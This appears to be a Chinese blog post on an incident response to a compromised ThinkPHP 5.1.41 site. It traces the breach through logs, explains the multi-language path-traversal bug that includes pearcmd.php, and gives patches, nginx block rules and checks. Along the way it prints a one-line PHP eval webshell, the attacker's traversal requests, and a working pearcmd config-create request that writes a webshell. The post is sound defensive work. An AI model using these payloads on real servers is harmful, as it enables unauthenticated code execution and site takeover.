ThinkPHP 5.1.41 多语言 RCE 漏洞实战:从被入侵到溯源修复

🌐 Read in English
📅 2026-04-08 17:19:32 👤 BB 💬 0 条评论 👁 13

2026年4月8日,在对服务器上多个 ThinkPHP 站点进行例行安全检查时,在 thikphp5.1站点 的 public 目录下发现了三个恶意文件:

文件类型危害等级
9.php一句话木马🔴 严重
q9.php文件管理器 Webshell🔴 严重
5.phpAdminer 数据库管理工具🟡 高危

其中 9.php 仅一行代码:

<?php @eval(base64_decode($_POST[1]));echo 8;?>

q9.php 是一个约 400 行的完整文件管理器 Webshell,具备以下能力:

  • open_basedir 绕过(通过 mkdir + chdir + ini_set 链)
  • XOR 加密通信(躲避 WAF 检测)
  • 文件浏览、编辑、上传、下载、删除、改权限
  • 自毁功能

这不是脚本小子的作品,是一个成熟的渗透工具。

一、溯源:攻击者是怎么进来的

日志中的线索

在 ThinkPHP 的 runtime 错误日志中,发现了关键证据:

[2026-03-25T17:16:39+09:00] 134.122.173.185 GET 8.213.212.93:88/?lang=../../../../../usr/local/php/pearcmd

[2026-03-25T17:16:45+09:00] 134.122.173.185 GET 8.213.212.93:88/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+IbLLhEABVr.log

攻击者 IP 134.122.173.185 在 3月25日对服务器发起了 ThinkPHP 多语言文件包含攻击,利用 pearcmd.php 写入 Webshell。

漏洞原理

这是 ThinkPHP 5 的一个经典漏洞(CVE-2022-38352),攻击链如下:

第一步:多语言参数注入

ThinkPHP 5.1 的 Lang::detect() 方法从 $_GET['lang'] 获取语言参数:

// thinkphp/library/think/Lang.php
public function detect()
{
    $langSet = '';

    if (isset($_GET[$this->langDetectVar])) {
        // url中设置了语言变量
        $langSet = strtolower($_GET[$this->langDetectVar]);
    }
    // ...

    if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
        $this->range = $langSet ?: $this->range;
    }

    return $this->range;
}

问题在于:没有对 $langSet 做任何过滤。当 allowLangList 为空时(默认情况),任意值都会被接受。

第二步:路径穿越 → 文件包含

App::loadLangPack() 将语言参数拼接到文件路径中:

protected function loadLangPack()
{
    if ($this->config('app.lang_switch_on')) {
        $this->lang->detect();
    }

    $this->request->setLangset($this->lang->range());

    // 加载语言包 —— 这里直接拼接了用户输入
    $this->lang->load([
        $this->thinkPath . 'lang/' . $this->request->langset() . '.php',
        $this->appPath . 'lang/' . $this->request->langset() . '.php',
    ]);
}

Lang::load() 方法用 include 加载文件:

public function load($file, $range = '')
{
    foreach ($file as $_file) {
        if (is_file($_file)) {
            $_lang = include $_file;  // 危险!直接 include 用户可控路径
        }
    }
}

当攻击者传入 ?lang=../../../../../usr/local/php/pearcmd 时,实际加载的路径变成:

thinkphp/lang/../../../../../usr/local/php/pearcmd.php
→ /usr/local/php/pearcmd.php

第三步:利用 pearcmd 写入 Webshell

pearcmd.php 是 PHP 自带的 PEAR 包管理器命令行工具。当它被 include 时,会解析 $_SERVER['argv'](来自 URL query string),攻击者可以利用 config-create 命令将任意内容写入文件:

GET /?+config-create+/<?php+eval($_POST[1]);?>+/var/www/html/shell.php&lang=../../../../../usr/local/lib/php/pearcmd

这就是 9.phpq9.php 被写入的方式。

触发条件

这个漏洞需要同时满足以下条件:

  1. ✅ ThinkPHP 5.x(本案例为 5.1.41 LTS)
  2. lang_switch_on 配置为 true
  3. allow_lang_list 为空(默认值)
  4. ✅ 服务器上存在 pearcmd.php(大多数 PHP 安装都有)

我们的 5 个 TP5 站点全部满足这些条件。

二、影响范围

对服务器上所有站点进行了全面扫描:

ThinkPHP 5.1.41 站点(存在 RCE 漏洞):
├── hotel.dev      ← 已被入侵,发现 Webshell
├── us1us1.dev     ← 存在漏洞,未发现入侵痕迹
├── us2us2.dev     ← 存在漏洞,未发现入侵痕迹
├── us3us3.dev     ← 存在漏洞,未发现入侵痕迹
└── us5us5.dev     ← 存在漏洞,未发现入侵痕迹

ThinkPHP 3.2.3 站点(不受此漏洞影响,但存在其他问题):
├── dream.dev
├── blue.kuai
├── henry.dev
├── langdang.dev
├── wannuo.dev
├── coin.dev
└── /www/wwwroot/dream

hotel.dev 之所以被选中,可能是因为它的 app_debug 开启,错误信息暴露了框架版本和路径。

三、修复方案

修复一:修补 Lang.php(核心修复)

detect() 方法中加入路径穿越过滤:

public function detect()
{
    $langSet = '';

    if (isset($_GET[$this->langDetectVar])) {
        $langSet = strtolower($_GET[$this->langDetectVar]);
    } elseif (isset($_COOKIE[$this->langCookieVar])) {
        $langSet = strtolower($_COOKIE[$this->langCookieVar]);
    } elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
        preg_match('/^([a-z\d\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
        if (isset($this->acceptLanguage[$langSet])) {
            $langSet = $this->acceptLanguage[$langSet];
        }
    }

    // ========== 安全修复 ==========
    // 过滤路径穿越字符
    $langSet = str_replace(["..", "/", "\\"], "", $langSet);
    // 白名单:只允许字母、数字、下划线、连字符
    if (!preg_match("/^[a-zA-Z0-9_\-]+$/", $langSet)) {
        $langSet = "";
    }
    // ==============================

    if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
        $this->range = $langSet ?: $this->range;
    }

    return $this->range;
}

这个补丁做了两层防护:

  1. str_replace 移除 ..//\ 等路径穿越字符
  2. 正则白名单确保只有合法的语言标识符(如 zh-cnen-us)能通过

修复二:Nginx 层面拦截(纵深防御)

在 Nginx 的 extension 目录下添加 security.conf

# 阻止 ThinkPHP 多语言 RCE 攻击
if ($args ~* "lang=.*\.\./") {
    return 403;
}

# 阻止直接访问 .php 文件(除 index.php)
location ~* ^/(?!index\.php)[^/]+\.php$ {
    return 403;
}

第二条规则尤其重要 —— 即使攻击者通过其他方式写入了 PHP 文件,也无法直接通过 URL 访问执行。

修复三:关闭 debug 模式

// config/app.php
'app_debug' => false,

debug 模式会暴露完整的错误堆栈、框架版本、文件路径,等于给攻击者画了一张地图。

修复四:禁用调试后门

TP3 站点的 ThinkPHP.php 中存在一个调试后门:

// 修复前 —— 任何人访问 ?debug=tw_debug 即可开启调试
if (isset($_GET['debug']) && $_GET['debug'] === 'tw_debug') {
    setcookie('ADBUG','tw_debug',time()+ 60*3600);
    exit('ok');
}

// 修复后
if (false) { // DISABLED: debug backdoor removed

四、验证

修复后验证攻击是否被拦截:

# 测试路径穿越 —— 应返回 403
$ curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:99/?lang=../../../../../etc/passwd"
403

# 测试直接访问 PHP 文件 —— 应返回 403
$ curl -s -o /dev/null -w "%{http_code}" "http://example.com/test.php"
403

五、经验总结

为什么 thinkphp站点 被打了而其他站点没有

  1. app_debug = true 暴露了框架信息
  2. 域名 hotel.stacam.org 通过 Cloudflare 解析,但 Cloudflare 的 WAF 免费版不拦截这类攻击
  3. 攻击者可能是批量扫描 ThinkPHP 站点

防御清单

  • [ ] 升级 ThinkPHP 到最新版本(根本解决方案)
  • [X] 修补 Lang.phpdetect() 方法
  • [X] Nginx 层面禁止直接访问非入口 PHP 文件
  • [X] 关闭所有生产环境的 debug 模式
  • [X] 移除调试后门
  • [X] 检查并清理已有的 Webshell
  • [X] 检查系统级后门(crontab、进程、/tmp)
  • [ ] 配置 allow_lang_list 白名单,只允许实际使用的语言
  • [ ] 删除服务器上的 pearcmd.php(如不需要 PEAR)
  • [ ] 定期安全扫描

一句话

ThinkPHP 的多语言功能默认开启且无过滤,配合 pearcmd.php 可以实现零认证 RCE。如果你还在用 ThinkPHP 5.x,现在就去检查你的 lang_switch_on 配置。

📝 本文来自抖文 www.douwen.me ,转载请保留出处。

💬 评论 (0)

还没有评论,来说两句吧 ✍️